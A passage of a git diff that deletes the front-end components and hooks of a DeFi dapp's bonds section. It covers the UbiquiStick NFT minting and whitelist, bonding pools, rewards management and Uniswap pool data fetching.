symbol = await contract.symbol(); - const bnAmount = ethers.utils.parseUnits(amount.toString(), decimals); - const signer = provider.getSigner(); - if (await ensureERC20Allowance(symbol, contract, bnAmount, signer, contracts.simpleBond.address, decimals)) { - if (await performTransaction(contracts.simpleBond.bond(token, bnAmount))) { - console.log("Deposit successful!"); - refreshSimpleBondData(); - } else { - console.log("Deposit failed!"); - } - } else { - console.error("Error setting ERC20 allowance"); - } - }); - }; - - const contractClaimAll = async () => { - if (!isConnected || !isLoaded || doingTransaction) return; - await doTransaction("Claiming all rewards...", async () => { - await performTransaction(contracts.simpleBond.claim()); - await refreshSimpleBondData(); - }); - }; - - // ██████╗ ███████╗██████╗ ██╗██╗ ██╗███████╗██████╗ - // ██╔══██╗██╔════╝██╔══██╗██║██║ ██║██╔════╝██╔══██╗ - // ██║ ██║█████╗ ██████╔╝██║██║ ██║█████╗ ██║ ██║ - // ██║ ██║██╔══╝ ██╔══██╗██║╚██╗ ██╔╝██╔══╝ ██║ ██║ - // ██████╔╝███████╗██║ ██║██║ ╚████╔╝ ███████╗██████╔╝ - // ╚═════╝ ╚══════╝╚═╝ ╚═╝╚═╝ ╚═══╝ ╚══════╝╚═════╝ - - const isConnected = !!(provider && walletAddress); - const isLoaded = !!(contracts && sticks && allowance); - const sticksCount = sticks ? sticks.gold + sticks.black + sticks.invisible : null; - const canUsePools = (sticksCount !== null && sticksCount > 0) || !needsStick; - const showAdminButton = isSaleContractOwner || isSimpleBondOwner; - - return ( -
-
-
setShowAdminComponents(false)}>
-
- {isSaleContractOwner ? : null} - {isSimpleBondOwner ? : null} -
-
- - - - {showAdminButton ? ( -
- -
- ) : null} - - - - - - -
- ); -}; - -export default App; diff --git a/packages/dapp/components/bonds/BondingPool.tsx b/packages/dapp/components/bonds/BondingPool.tsx deleted file mode 100644 index 588c8288c..000000000 --- a/packages/dapp/components/bonds/BondingPool.tsx +++ /dev/null @@ -1,88 +0,0 @@ -import { useState } from "react"; -import useTransactionLogger from "../lib/hooks/useTransactionLogger"; -import Button from "../ui/Button"; -import PositiveNumberInput from "../ui/PositiveNumberInput"; -import Tooltip from "../ui/Tooltip"; - -import { getPoolUrl, PoolData, PoolInfo } from "./lib/pools"; -import { format, round } from "./lib/utils"; - -type BondingPoolParams = PoolInfo & { - enabled: boolean; - poolData: PoolData | null; - onDeposit: ({ amount }: { amount: number }) => unknown; -}; - -const BondingPool = ({ enabled, poolData, onDeposit, ...info }: BondingPoolParams) => { - const [, , transacting] = useTransactionLogger(); - const LPTokenName = poolData ? poolData.symbol1 + "-" + poolData.symbol2 : "..."; - const [amount, setAmount] = useState(""); - - const onSubmit = () => { - onDeposit({ amount: parseFloat(amount) }); - }; - - const parsedAmount = parseFloat(amount); - const disableSubmit = transacting || !!(!enabled || !(parsedAmount > 0) || (poolData && parsedAmount > poolData.poolTokenBalance)); - - const poolUrl = poolData ? getPoolUrl(info, poolData) : ""; - - return ( -
-
- {info.logo ? : null} - -
-
- {poolData?.apr ? format(Math.round(poolData.apr)) : "????"}%{info.logo ?
: " "} - APR -
-
-
-
- -
- - - -
- {poolData ? ( - <> -
{poolData.symbol1}
-
{poolData.liquidity1 !== null ? format(round(poolData.liquidity1)) : ""}
-
-
{poolData.liquidity2 !== null ? format(round(poolData.liquidity2)) : ""}
-
{poolData.symbol2}
- - ) : ( - · · · - )} -
-
- -
-
-
- -
-
-
- Balance: {poolData ? format(round(poolData.poolTokenBalance)) : "????"} {LPTokenName} -
- - Get more - -
-
- -
-
- {!enabled ?
You need a UbiquiStick to use this pool
: null} -
-
- ); -}; - -export default BondingPool; diff --git a/packages/dapp/components/bonds/FundingPools.tsx b/packages/dapp/components/bonds/FundingPools.tsx deleted file mode 100644 index c0a492f3b..000000000 --- a/packages/dapp/components/bonds/FundingPools.tsx +++ /dev/null @@ -1,30 +0,0 @@ -import BondingPool from "./BondingPool"; -import { PoolData, pools } from "./lib/pools"; - -type FundingPoolParams = { - enabled: boolean; - poolsData: { [key: string]: PoolData }; - onDeposit: ({ token, amount }: { token: string; amount: number }) => unknown; -}; - -const FundingPools = ({ enabled, poolsData, onDeposit }: FundingPoolParams) => { - return ( -
-

Funding Pools

-

Sell LP, get uCR over the course of 5 days

-
- {pools.map((pool) => ( - onDeposit({ token: pool.tokenAddress, amount })} - {...pool} - /> - ))} -
-
- ); -}; - -export default FundingPools; diff --git a/packages/dapp/components/bonds/Header.tsx b/packages/dapp/components/bonds/Header.tsx deleted file mode 100644 index c4d37cabe..000000000 --- a/packages/dapp/components/bonds/Header.tsx +++ /dev/null @@ -1,9 +0,0 @@ -const Header = () => { - return ( -
-
Bonds
-
- ); -}; - -export default Header; diff --git a/packages/dapp/components/bonds/Liquidate.tsx b/packages/dapp/components/bonds/Liquidate.tsx deleted file mode 100644 index ab1e6f775..000000000 --- a/packages/dapp/components/bonds/Liquidate.tsx +++ /dev/null @@ -1,22 +0,0 @@ -import { ButtonLink } from "../ui/Button"; -import { format, round } from "./lib/utils"; - -const Liquidate = ({ accumulated, poolAddress, uarUsdPrice }: { accumulated: number | null; poolAddress: string; uarUsdPrice: number | null }) => { - const accumulatedInUsd = uarUsdPrice !== null && accumulated !== null ? accumulated * uarUsdPrice : null; - return ( -
-

Liquidate

-

Exit the game; sell uCR for ETH

-
You have
-
- {accumulated !== null ? format(round(accumulated)) : "????"} uCR - {accumulatedInUsd !== null ? (${format(round(accumulatedInUsd))}) : null} -
- - Exchange for ETH - -
- ); -}; - -export default Liquidate; diff --git a/packages/dapp/components/bonds/MultiplicationPool.tsx b/packages/dapp/components/bonds/MultiplicationPool.tsx deleted file mode 100644 index 4832d8492..000000000 --- a/packages/dapp/components/bonds/MultiplicationPool.tsx +++ /dev/null @@ -1,28 +0,0 @@ -import BondingPool from "./BondingPool"; -import { goldenPool, PoolData } from "./lib/pools"; - -type MultiplicationPoolParams = { - enabled: boolean; - poolsData: { [key: string]: PoolData }; - onDeposit: ({ token, amount }: { token: string; amount: number }) => unknown; -}; - -const MultiplicationPool = ({ enabled, poolsData, onDeposit }: MultiplicationPoolParams) => { - return ( -
-

Golden Pool

-

Multiply and exchanges

- -
- onDeposit({ token: goldenPool.tokenAddress, amount })} - {...goldenPool} - /> -
-
- ); -}; - -export default MultiplicationPool; diff --git a/packages/dapp/components/bonds/RewardsManager.tsx b/packages/dapp/components/bonds/RewardsManager.tsx deleted file mode 100644 index 18917a3b4..000000000 --- a/packages/dapp/components/bonds/RewardsManager.tsx +++ /dev/null @@ -1,84 +0,0 @@ -import { ethers } from "ethers"; -import { useState } from "react"; -import Button from "../ui/Button"; -import PositiveNumberInput, { TextInput } from "../ui/PositiveNumberInput"; - -import { poolByAddress } from "./lib/pools"; -import { aprFromRatio, multiplierFromRatio, round } from "./lib/utils"; - -type RewardsManagerParams = { - onSubmit: ({ token, ratio }: { token: string; ratio: ethers.BigNumber }) => unknown; - ratios: { [token: string]: ethers.BigNumber }; -}; - -const RewardsManager = ({ onSubmit, ratios }: RewardsManagerParams) => { - const [token, setToken] = useState(""); - const [multiplier, setMultiplier] = useState(""); - - const onClickButton = () => { - onSubmit({ token, ratio: ethers.utils.parseUnits((parseFloat(multiplier) * 1_000_000_000).toString(), "wei") }); - }; - - const ratiosArr = Object.entries(ratios); - - const floatMultiplier = parseFloat(multiplier); - const apy = floatMultiplier > 1 ? floatMultiplier ** (365 / 5) : null; - - return ( -
-

Rewards management

-
- - - -
-
APY
-
{apy ? `${round(apy)}%` : "..."}
-
-
- -
- -
- - {ratiosArr.length ? ( - - - - - - - - - - - {ratiosArr.map(([tk, rt]) => ( - setToken(tk)} /> - ))} - -
TokenAddressMultiplierAPR
- ) : null} -
- ); -}; - -const TokenInfo = ({ token, ratio, onClick }: { token: string; ratio: ethers.BigNumber; onClick: () => void }) => { - const poolInfo = poolByAddress(token); - if (!poolInfo) return null; - const multiplier = multiplierFromRatio(ratio); - const apy = aprFromRatio(ratio); - return ( - - {poolInfo.name} - -
{token}
- - {multiplier} - {apy !== null ? round(apy) : "..."} - - ); -}; - -export default RewardsManager; diff --git a/packages/dapp/components/bonds/UbiquiStick.tsx b/packages/dapp/components/bonds/UbiquiStick.tsx deleted file mode 100644 index 838dfc1da..000000000 --- a/packages/dapp/components/bonds/UbiquiStick.tsx +++ /dev/null @@ -1,95 +0,0 @@ -import useTransactionLogger from "../lib/hooks/useTransactionLogger"; -import Button from "../ui/Button"; -import { OwnedSticks, SticksAllowance, TokenData, TokenMedia } from "./lib/hooks/useUbiquistick"; -import Whitelist from "./Whitelist"; - -// const mockAccount = typeof document !== "undefined" && document.location.search === "?test" ? "0xefC0e701A824943b469a694aC564Aa1efF7Ab7dd" : null; - -type UbiquiStickParams = { - isConnected: boolean; - sticks: OwnedSticks | null; - allowance: SticksAllowance | null; - media: TokenMedia; - onBuy: () => unknown; -}; - -const UbiquiStick = ({ isConnected, sticks, allowance, onBuy, media }: UbiquiStickParams) => { - const [, , transacting] = useTransactionLogger(); - const sticksCount = sticks ? sticks.gold + sticks.black + sticks.invisible : null; - - const isLoaded = !!(sticks && allowance); - - // const blurredOutMessage = !isConnected ? "Connect your wallet" : !isLoaded ? "Checking whitelist" ? - - const mintButtonEnabled = !transacting && sticks && allowance && allowance.count > 0; - const mintButtonText = !isConnected - ? "Connect your wallet" - : !isLoaded - ? "Checking whitelist" - : allowance.count === 0 && sticksCount !== 0 - ? "You reached your minting limit" - : allowance.count === 0 && sticksCount === 0 - ? "You are not whitelisted to mint" - : `Mint for ${allowance.price} ETH`; - - const isWhitelisted = !!allowance && sticksCount !== null && (allowance.count > 0 || sticksCount > 0); - - const showBlurredOut = !isConnected || !isLoaded || (allowance.count === 0 && sticksCount === 0); - - return ( -
-

The Ubiquistick NFT

-

Access the game bonding pools

-
- {sticksCount && sticksCount > 0 ? ( - <> - - - - - ) : ( - - )} -
-
-
- - See your UbiquiSticks on OpenSeas -
- {showBlurredOut && } -
-
- ); -}; - -export default UbiquiStick; - -const BlurredStick = () => ( -
-
- -
-
-); - -const Stick = ({ amount, media, isConnected, loading }: { amount: number; media?: TokenData; isConnected: boolean; loading: boolean }) => { - if (amount === 0) return null; - return ( -
-
- {isConnected && loading ? ( -
-
-
- ) : null} - -
-
-
{media?.name}
- {isConnected && !loading && amount > 1 ?
x{amount}
: null} -
-
- ); -}; diff --git a/packages/dapp/components/bonds/Whitelist.tsx b/packages/dapp/components/bonds/Whitelist.tsx deleted file mode 100644 index e6c8b6489..000000000 --- a/packages/dapp/components/bonds/Whitelist.tsx +++ /dev/null @@ -1,79 +0,0 @@ -import { ButtonLink } from "../ui/Button"; - -const WhitelistContainer = ({ isConnected, isLoaded, isWhitelisted }: { isConnected: boolean; isLoaded: boolean; isWhitelisted: boolean }) => { - const status = !isConnected ? "not-connected" : !isLoaded ? "loading" : isWhitelisted ? "whitelisted" : "not-whitelisted"; - - return ; -}; - -export type WhitelistStatus = "not-connected" | "loading" | "whitelisted" | "not-whitelisted"; - -const TWITTER_MESSAGE = "Tweeting to be eligible for the #ubiquistick NFT whitelist @UbiquityDAO"; - -const Whitelist = ({ status }: { status: WhitelistStatus }) => { - return ( -
-
-
- - - - - - - -
-
- {(() => { - switch (status) { - case "not-connected": - return

Connect your wallet to check if you are on the whitelist

; - case "loading": - return ( - <> -
-

- Checking if you are -
- on the whitelist -

- - ); - case "whitelisted": - return ( -
-

You are whitelisted

-

You may mint a UbiquiStick and use the exclusive pools

-
- ); - case "not-whitelisted": - return ( -
-

You are not whitelisted

-

In order to participate you need to be on the whitelist

- - I want in - -
- ); - } - })()} -
-
-
- ); -}; - -export default WhitelistContainer; diff --git a/packages/dapp/components/bonds/YourBonds.tsx b/packages/dapp/components/bonds/YourBonds.tsx deleted file mode 100644 index 5944a46a5..000000000 --- a/packages/dapp/components/bonds/YourBonds.tsx +++ /dev/null @@ -1,83 +0,0 @@ -import Button from "../ui/Button"; -import { BondData } from "./lib/hooks/useSimpleBond"; -import { format, formatFixed, round } from "./lib/utils"; - -const toTimeInWords = (time: number): string => { - const days = Math.floor(time / (1000 * 60 * 60 * 24)); - const hours = Math.floor((time % (1000 * 60 * 60 * 24)) / (1000 * 60 * 60)); - const minutes = Math.floor((time % (1000 * 60 * 60)) / (1000 * 60)); - return `${days}d ${hours}h ${minutes}m`; -}; - -const YourBonds = ({ - enabled, - bonds, - onClaim, - uarUsdPrice, -}: { - enabled: boolean; - bonds: BondData[] | null; - onClaim: () => void; - uarUsdPrice: number | null; -}) => { - if (!bonds || bonds.length === 0) return null; - - const accumulated = bonds.reduce((acc, bond) => acc + bond.claimable, 0); - const accumulatedInUsd = uarUsdPrice ? accumulated * uarUsdPrice : null; - - return ( -
-

Your Bonds

-

Claim the accumulated flow

- -
- - - - - - - - - {bonds.length > 0 ? ( - - {bonds.map((bond, i) => ( - - - - - - ))} - - ) : ( - - - - - - )} -
BondProgressClaimable
{bond.tokenName} -
-
- {formatFixed(round(bond.claimable + bond.claimed))} - {" / "} - {formatFixed(round(bond.rewards))} uCR{" "} -
-
{toTimeInWords(+bond.endsAtDate - +new Date())} left
-
-
{formatFixed(round(bond.claimable))} uCR
You've got no bonds yet
-
-
Accumulated claimable
-
- {format(round(accumulated))} uCR {accumulatedInUsd !== null ? (${format(round(accumulatedInUsd))}) : null} -
-
- -
-
- ); -}; - -export default YourBonds; diff --git a/packages/dapp/components/bonds/lib/fetchUniswapPoolsData.ts b/packages/dapp/components/bonds/lib/fetchUniswapPoolsData.ts deleted file mode 100644 index 69dae61c3..000000000 --- a/packages/dapp/components/bonds/lib/fetchUniswapPoolsData.ts +++ /dev/null @@ -1,60 +0,0 @@ -import { PossibleProviders } from "@/lib/hooks/useWeb3"; -import { Contract, ethers } from "ethers"; -import { getERC20Contract, getUniswapV2FactoryContract, getUniswapV3PoolContract } from "@/components/utils/contracts"; - -export type UniswapData = { - poolAddress: string; - contract1: Contract; - contract2: Contract; - token1: string; - token2: string; - decimal1: number; - decimal2: number; - balance1: ethers.BigNumber; - balance2: ethers.BigNumber; - symbol1: string; - symbol2: string; - name1: string; - name2: string; -}; - -type UniswapDataRequest = { - address: string; - version: "v2" | "v3"; -}; - -async function fetchUniswapPoolsData(pools: UniswapDataRequest[], provider: NonNullable): Promise<{ [poolAddress: string]: UniswapData }> { - const getUniPoolFullData = async (poolAddress: string, isV2: boolean): Promise => { - const pool = isV2 ? getUniswapV2FactoryContract(poolAddress, provider) : getUniswapV3PoolContract(poolAddress, provider); - const t1 = getERC20Contract(await pool.token0(), provider); - const t2 = getERC20Contract(await pool.token1(), provider); - const d1 = await t1.decimals(); - const d2 = await t2.decimals(); - const b1 = await t1.balanceOf(pool.address); - const b2 = await t2.balanceOf(pool.address); - - return { - poolAddress: poolAddress, - contract1: t1, - contract2: t2, - token1: t1.address, - token2: t2.address, - decimal1: d1, - decimal2: d2, - balance1: b1, - balance2: b2, - symbol1: await t1.symbol(), - symbol2: await t2.symbol(), - name1: await t1.name(), - name2: await t2.name(), - }; - }; - - const unipoolsData = (await Promise.all(pools.map(({ address, version }) => getUniPoolFullData(address, version === "v2")))).reduce((acc, unipoolData) => { - return { ...acc, [unipoolData.poolAddress]: unipoolData }; - }, {}); - - return unipoolsData; -} - -export default fetchUniswapPoolsData; diff --git a/packages/dapp/components/bonds/lib/hooks/useLaunchPartyContracts.ts b/packages/dapp/components/bonds/lib/hooks/useLaunchPartyContracts.ts deleted file mode 100644 index 74e0ad33a..000000000 --- a/packages/dapp/components/bonds/lib/hooks/useLaunchPartyContracts.ts +++ /dev/null @@ -1,64 +0,0 @@ -import { useEffect, useState } from "react"; - -import { allPools } from "../pools"; -import useDeployedAddress from "@/components/lib/hooks/useDeployedAddress"; -import useWeb3 from "@/components/lib/hooks/useWeb3"; -import { - getChainlinkPriceFeedContract, - getERC20Contract, - getSimpleBondContract, - getUbiquitystickContract, - getUbiquityStickSaleContract, -} from "@/components/utils/contracts"; -import { Contract } from "ethers"; - -const ChainLinkEthUsdAddress = "0x5f4ec3df9cbd43714fe2740f5e3616155c5b8419"; - -export type Contracts = { - ubiquiStick: Contract; - ubiquiStickSale: Contract; - simpleBond: Contract; - rewardToken: Contract; - chainLink: Contract; -}; - -const useLaunchPartyContracts = (): [Contracts | null, Contract[], { isSaleContractOwner: boolean; isSimpleBondOwner: boolean }] => { - const [TheUbiquityStickAddress, TheUbiquityStickSaleAddress, SimpleBondAddress] = useDeployedAddress( - "TheUbiquityStick", - "TheUbiquityStickSale", - "SimpleBond" - ); - const [{ provider, walletAddress }] = useWeb3(); - const [contracts, setContracts] = useState(null); - const [tokensContracts, setTokensContracts] = useState([]); - const [isSaleContractOwner, setIsSaleContractOwner] = useState(false); - const [isSimpleBondOwner, setIsSimpleBondOwner] = useState(false); - - useEffect(() => { - if (!provider || !walletAddress || !provider.network) { - return; - } - - (async () => { - const simpleBond = getSimpleBondContract(SimpleBondAddress, provider); - const rewardToken = await simpleBond.tokenRewards(); - const contracts = { - ubiquiStick: getUbiquitystickContract(TheUbiquityStickAddress, provider), - ubiquiStickSale: getUbiquityStickSaleContract(TheUbiquityStickSaleAddress, provider), - simpleBond, - rewardToken: getERC20Contract(rewardToken, provider), - chainLink: getChainlinkPriceFeedContract(ChainLinkEthUsdAddress, provider), - }; - - setContracts(contracts); - setTokensContracts(allPools.map((pool) => getERC20Contract(pool.tokenAddress, provider))); - - setIsSaleContractOwner((await contracts.ubiquiStickSale.owner()).toLowerCase() === walletAddress.toLowerCase()); - setIsSimpleBondOwner((await contracts.simpleBond.owner()).toLowerCase() === walletAddress.toLowerCase()); - })(); - }, [provider, walletAddress, provider?.network]); - - return [contracts, tokensContracts, { isSaleContractOwner, isSimpleBondOwner }]; -}; - -export default useLaunchPartyContracts; diff --git a/packages/dapp/components/bonds/lib/hooks/usePrices.ts b/packages/dapp/components/bonds/lib/hooks/usePrices.ts deleted file mode 100644 index 58a3d0398..000000000 --- a/packages/dapp/components/bonds/lib/hooks/usePrices.ts +++ /dev/null @@ -1,35 +0,0 @@ -import { ethers, Contract } from "ethers"; -import { useEffect, useState } from "react"; - -import { goldenPool, PoolData } from "../pools"; -import { Contracts } from "./useLaunchPartyContracts"; - -const usePrices = (contracts: Contracts | null, tokensContracts: Contract[], poolsData: { [token: string]: PoolData }) => { - const [uarUsdPrice, setUarUsdPrice] = useState(null); - - async function refreshPrices() { - if (!contracts || !tokensContracts || !poolsData) return; - - const goldenPoolData = poolsData[goldenPool.tokenAddress]; - - if (!goldenPoolData || !goldenPoolData.liquidity1 || !goldenPoolData.liquidity2) return; - - // Assuming golden pool is uCR-ETH - // Example: If we have 5 uCR and 100 ETH in the pool, then we take 1 uCR = 20 ETH - - const uarEthPrice = goldenPoolData.liquidity2 / goldenPoolData.liquidity1; - - const [, price] = await contracts.chainLink.latestRoundData(); - const ethUsdPrice = +ethers.utils.formatUnits(price, "wei") / 1e8; - - console.log("ETH-USD", ethUsdPrice); - setUarUsdPrice(ethUsdPrice * uarEthPrice); - } - useEffect(() => { - refreshPrices(); - }, [contracts, tokensContracts, poolsData]); - - return { uarUsdPrice, refreshPrices }; -}; - -export default usePrices; diff --git a/packages/dapp/components/bonds/lib/hooks/useSimpleBond.ts b/packages/dapp/components/bonds/lib/hooks/useSimpleBond.ts deleted file mode 100644 index 30a146ed7..000000000 --- a/packages/dapp/components/bonds/lib/hooks/useSimpleBond.ts +++ /dev/null @@ -1,136 +0,0 @@ -import { Contract, ethers } from "ethers"; -import { useEffect, useState } from "react"; - -import { ZERO_ADDRESS } from "@/lib/utils"; - -import fetchUniswapPoolsData from "../fetchUniswapPoolsData"; -import { allPools, PoolData, poolsByToken } from "../pools"; -import { aprFromRatio, multiplierFromRatio } from "../utils"; -import { Contracts } from "./useLaunchPartyContracts"; -import useManagerManaged from "@/components/lib/hooks/contracts/useManagerManaged"; -import useWeb3 from "@/components/lib/hooks/useWeb3"; - -export type BondData = { - tokenName: string; - claimed: number; - rewards: number; - claimable: number; - depositAmount: number; - endsAtBlock: number; - endsAtDate: Date; - rewardPrice: number; -}; - -const useSimpleBond = (contracts: Contracts | null, tokensContracts: Contract[]) => { - const [{ provider, walletAddress }] = useWeb3(); - const ubqContracts = useManagerManaged(); - - const [rewardTokenBalance, setRewardTokenBalance] = useState(null); - const [tokensRatios, setTokensRatios] = useState<{ [token: string]: ethers.BigNumber }>({}); - const [poolsData, setPoolsData] = useState<{ [token: string]: PoolData }>({}); - const [bondsData, setBondsData] = useState(null); - const [needsStick, setNeedsStick] = useState(true); - - async function refreshSimpleBondData() { - if (provider && walletAddress && contracts && tokensContracts.length > 0 && ubqContracts) { - const blocksCountInAWeek = (await ubqContracts.staking.blockCountInAWeek()).toNumber(); - const vestingBlocks = (await contracts.simpleBond.vestingBlocks()).toNumber(); - - const ratios = await Promise.all(allPools.map((pool) => contracts.simpleBond.rewardsRatio(pool.tokenAddress))); - - const newTokensRatios = Object.fromEntries(allPools.map((pool, i) => [pool.tokenAddress, ratios[i]])); - - const newUnipoolFullData = await fetchUniswapPoolsData( - allPools.map(({ poolAddress, tokenAddress }) => ({ address: poolAddress, version: poolAddress === tokenAddress ? "v2" : "v3" })), - provider - ); - - const newPoolsData: { [token: string]: PoolData } = ( - await Promise.all( - tokensContracts.map((tokenContract) => - Promise.all([tokenContract.address, tokenContract.balanceOf(walletAddress), tokenContract.decimals(), newTokensRatios[tokenContract.address]]) - ) - ) - ).reduce<{ [token: string]: PoolData }>((acc, [address, balance, decimals, reward]) => { - const poolTokenBalance = +ethers.utils.formatUnits(balance, decimals); - - const multiplier = multiplierFromRatio(reward); - const apr = aprFromRatio(reward); - - const uniPoolData = newUnipoolFullData[poolsByToken[address].poolAddress]; - const liquidity1 = +ethers.utils.formatUnits(uniPoolData.balance1, uniPoolData.decimal1); - const liquidity2 = +ethers.utils.formatUnits(uniPoolData.balance2, uniPoolData.decimal2); - - acc[address] = { - poolTokenBalance, - apr, - token1: uniPoolData.token1, - token2: uniPoolData.token2, - liquidity1, - liquidity2, - symbol1: uniPoolData.symbol1, - symbol2: uniPoolData.symbol2, - name1: uniPoolData.name1, - name2: uniPoolData.name2, - decimals, - multiplier, - }; - - return acc; - }, {}); - - // Get the current bonds data - - const currentBlock = await provider.getBlockNumber(); - const bondsCount = (await contracts.simpleBond.bondsCount(walletAddress)).toNumber(); - - const newBondsData: BondData[] = ( - await Promise.all( - Array(bondsCount) - .fill(null) - .map(async (_, i) => ({ - bond: await contracts.simpleBond.bonds(walletAddress, i), - rewards: await contracts.simpleBond.rewardsBondOf(walletAddress, i), - })) - ) - ).map(({ bond: { token, amount, rewards, claimed, block }, rewards: { rewardsClaimable } }) => { - const pool = poolsByToken[token]; - const decimals = newPoolsData[token]?.decimals; - if (!pool || !decimals) console.error("No pool found for token", token); - return { - tokenName: pool.name, - claimed: +ethers.utils.formatUnits(claimed, decimals), - claimable: +ethers.utils.formatUnits(rewardsClaimable, decimals), - rewards: +ethers.utils.formatUnits(rewards, decimals), - depositAmount: +ethers.utils.formatUnits(amount, decimals), - endsAtBlock: block.toNumber() + vestingBlocks, - endsAtDate: new Date(+new Date() + ((block.toNumber() + vestingBlocks - currentBlock) / blocksCountInAWeek) * 7 * 24 * 60 * 60 * 1000), - rewardPrice: 1, // TODO: Get price for each LP contract - }; - }); - - // Get the balance of the reward token - - const newRewardTokenBalance = +ethers.utils.formatUnits(await contracts.rewardToken.balanceOf(walletAddress), await contracts.rewardToken.decimals()); - - // Get wether the Ubiquistick is still neccesary - - setNeedsStick((await contracts.simpleBond.sticker()) !== ZERO_ADDRESS); - - // Set all the states - - setTokensRatios(newTokensRatios); - setPoolsData(newPoolsData); - setBondsData(newBondsData); - setRewardTokenBalance(newRewardTokenBalance); - } - } - - useEffect(() => { - refreshSimpleBondData(); - }, [provider, walletAddress, contracts, tokensContracts.length, ubqContracts]); - - return { rewardTokenBalance, tokensRatios, poolsData, bondsData, needsStick, refreshSimpleBondData }; -}; - -export default useSimpleBond; diff --git a/packages/dapp/components/bonds/lib/hooks/useUbiquistick.ts b/packages/dapp/components/bonds/lib/hooks/useUbiquistick.ts deleted file mode 100644 index 85c508a0f..000000000 --- a/packages/dapp/components/bonds/lib/hooks/useUbiquistick.ts +++ /dev/null @@ -1,84 +0,0 @@ -import useManagerManaged from "@/components/lib/hooks/contracts/useManagerManaged"; -import useWeb3 from "@/components/lib/hooks/useWeb3"; -import { useEffect, useState } from "react"; -import { Contracts } from "./useLaunchPartyContracts"; - -export type OwnedSticks = { - black: number; - gold: number; - invisible: number; -}; - -export type TokenMedia = { - black?: TokenData; - gold?: TokenData; - invisible?: TokenData; -}; - -export type TokenData = { - name: string; - animation_url: string; - image: string; - type: "black" | "gold" | "invisible"; -}; - -export type SticksAllowance = { - count: number; - price: number; -}; - -const useUbiquistick = (contracts: Contracts | null) => { - const [{ provider, walletAddress }] = useWeb3(); - const ubqContracts = useManagerManaged(); - - const [sticks, setSticks] = useState(null); - const [allowance, setAllowance] = useState(null); - const [tokenMedia, setTokensMedia] = useState({}); - - async function refreshUbiquistickData() { - if (provider && walletAddress && contracts && ubqContracts) { - const newSticks: OwnedSticks = { black: 0, gold: 0, invisible: 0 }; - const sticksAmount = (await contracts.ubiquiStick.balanceOf(walletAddress)).toNumber(); - const newTokenMedia: TokenMedia = {}; - - await Promise.all( - new Array(sticksAmount).fill(0).map(async (_, i) => { - const id = (await contracts.ubiquiStick.tokenOfOwnerByIndex(walletAddress, i)).toNumber(); - const uri = await contracts.ubiquiStick.tokenURI(id); - const data: TokenData = await fetch(uri).then((res) => res.json()); - newTokenMedia[data.type] = data; - switch (data.type) { - case "gold": - newSticks.gold++; - break; - case "invisible": - newSticks.invisible++; - break; - default: - newSticks.black++; - } - }) - ); - - const allowance = await contracts.ubiquiStickSale.allowance(walletAddress); - - setSticks(newSticks); - setTokensMedia(newTokenMedia); - - setAllowance({ count: +allowance.count.toString(), price: +allowance.price.toString() / 1e18 }); - } - } - - useEffect(() => { - refreshUbiquistickData(); - }, [provider, walletAddress, contracts, ubqContracts]); - - return { - sticks, - allowance, - tokenMedia, - refreshUbiquistickData, - }; -}; - -export default useUbiquistick; diff --git a/packages/dapp/components/bonds/lib/pools.ts b/packages/dapp/components/bonds/lib/pools.ts deleted file mode 100644 index da8ceb211..000000000 --- a/packages/dapp/components/bonds/lib/pools.ts +++ /dev/null @@ -1,88 +0,0 @@ -export type PoolInfo = { - name: string; - poolAddress: string; - tokenAddress: string; - // If poolAddress === tokenAddress - // pool and token are is UniswapV2 - // else - // pool is UniswapV3 and token is Gelato - logo: string | null; -}; - -export type PoolData = { - token1: string; - token2: string; - symbol1: string; - symbol2: string; - name1: string; - name2: string; - liquidity1: number | null; - liquidity2: number | null; - poolTokenBalance: number; - decimals: number; - multiplier: number; - apr: number | null; -}; - -type FungiblePoolContract = "Arrakis" | "UniswapV2"; - -export const getPoolContract = (pool: PoolInfo): FungiblePoolContract => { - return pool.poolAddress === pool.tokenAddress ? "UniswapV2" : "Arrakis"; -}; - -export const getPoolUrl = (poolInfo: PoolInfo, poolData: PoolData): string => { - return { - UniswapV2: `https://app.uniswap.org/#/add/v2/${poolData.token1}/${poolData.token2}`, - Arrakis: `https://beta.arrakis.finance/#/vaults/${poolInfo.tokenAddress}`, - }[getPoolContract(poolInfo)]; -}; - -export const goldenPool: PoolInfo = { - name: "uCR-WETH", - poolAddress: "0xd9dc4a753e58cd7a8b03360f042b004da3eb178a", - tokenAddress: "0xd9dc4a753e58cd7a8b03360f042b004da3eb178a", - logo: null, -}; - -export const pools: PoolInfo[] = [ - { - name: "uAD-ETH", - poolAddress: "0x95e3547d5a326092661f16ec06e6fc5681c8d33c", - tokenAddress: "0x95e3547d5a326092661f16ec06e6fc5681c8d33c", - logo: "/tokens-icons/eth.png", - }, - { - name: "uAD-LUSD", - poolAddress: "0xb065c77afc6e1a03b6166ac0fb2f4e84ff6a24d4", - tokenAddress: "0x8824e0cd99f5c1eef50c8602987af364096625db", - logo: "/tokens-icons/lusd.png", - }, - { - name: "uAD-DAI", - poolAddress: "0xdae886e2c774c0773f2497a3e1dac44e10a13dbc", - tokenAddress: "0xe8c94b3c4ec695f811328a5c3cf9afd477e1294b", - logo: "/tokens-icons/dai.png", - }, - { - name: "uAD-USDC", - poolAddress: "0x681b4c3af785dacaccc496b9ff04f9c31bce4090", - tokenAddress: "0xA9514190cBBaD624c313Ea387a18Fd1dea576cbd", - logo: "/tokens-icons/usdc.png", - }, -]; - -/** Other possible tokens we could add: - * uAD-OHM - * uAD-MIM - * uAD-UST - * uAD-FRAX - * uAD-FEI - * uAD-DOLA - * uAD-USDT - * uAD-ALUSD - */ - -export const poolByAddress = (address: string) => pools.find((p) => p.tokenAddress === address) || (address === goldenPool.tokenAddress ? goldenPool : null); - -export const allPools = pools.concat([goldenPool]); -export const poolsByToken: { [token: string]: PoolInfo } = allPools.reduce((acc, pool) => ({ ...acc, [pool.tokenAddress]: pool }), {}); diff --git a/packages/dapp/components/bonds/lib/utils.ts b/packages/dapp/components/bonds/lib/utils.ts deleted file mode 100644 index 1304639d3..000000000 --- a/packages/dapp/components/bonds/lib/utils.ts +++ /dev/null @@ -1,17 +0,0 @@ -import { ethers } from "ethers"; - -const formatter = new Intl.NumberFormat("en-US"); -const formatterFixed = new Intl.NumberFormat("en-US", { minimumFractionDigits: 2 }); -export const format = (n: number) => formatter.format(n); -export const formatFixed = (n: number) => formatterFixed.format(n); -export const round = (n: number) => Math.round(n * 100) / 100; - -export const multiplierFromRatio = (ratio: ethers.BigNumber): number => { - return parseInt(ratio.toString()) / 1_000_000_000; -}; - -export const aprFromRatio = (ratio: ethers.BigNumber): number | null => { - const VESTING_DAYS = 5; - const multiplier = multiplierFromRatio(ratio); - return multiplier > 1 